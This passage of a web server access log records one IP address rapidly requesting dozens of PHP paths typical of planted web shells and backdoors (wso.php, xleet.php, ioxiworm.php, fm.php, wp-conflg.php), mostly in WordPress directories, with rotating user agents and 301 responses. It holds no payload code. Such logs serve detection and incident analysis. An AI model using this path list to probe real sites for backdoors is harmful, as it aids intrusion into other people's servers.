"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:35 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:35 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:35 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:35 +0300] "GET /templates/beez3/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:35 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:35 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:36 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:36 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:36 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:36 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:36 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:36 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:36 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:37 +0300] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:00:37 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:37 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:00:37 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:38 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:38 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:00:38 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:39 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:00:39 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:40 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:40 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:41 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:41 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.53.96 - - [02/Feb/2026:16:00:41 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:41 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:42 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:43 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:43 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:43 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:43 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:44 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:44 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:45 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:45 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:00:45 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:00:45 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:46 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:00:46 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:46 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:00:47 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:47 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:00:47 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:00:48 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:48 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:48 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:49 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:00:49 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:49 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:50 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:50 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:50 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:50 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:51 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:51 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:51 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:51 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:51 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:51 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:00:51 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:00:51 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:52 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:00:52 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:52 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.53.96 - - [02/Feb/2026:16:00:52 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:52 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:52 +0300] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:00:52 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:52 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:53 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:00:53 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:53 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:53 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.53.96 - - [02/Feb/2026:16:00:53 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:53 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:00:53 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:00:53 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:54 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:00:54 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:54 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:54 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:54 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:54 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:54 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:00:55 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:55 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:55 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:55 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:00:55 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:55 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:00:55 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:55 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:55 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:00:56 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:56 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:00:56 +0300] "GET /admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:56 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:56 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:56 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:56 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:56 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:56 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:00:57 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:57 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:57 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:00:57 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:57 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:57 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:57 +0300] "GET /license.php HTTP/1.1" 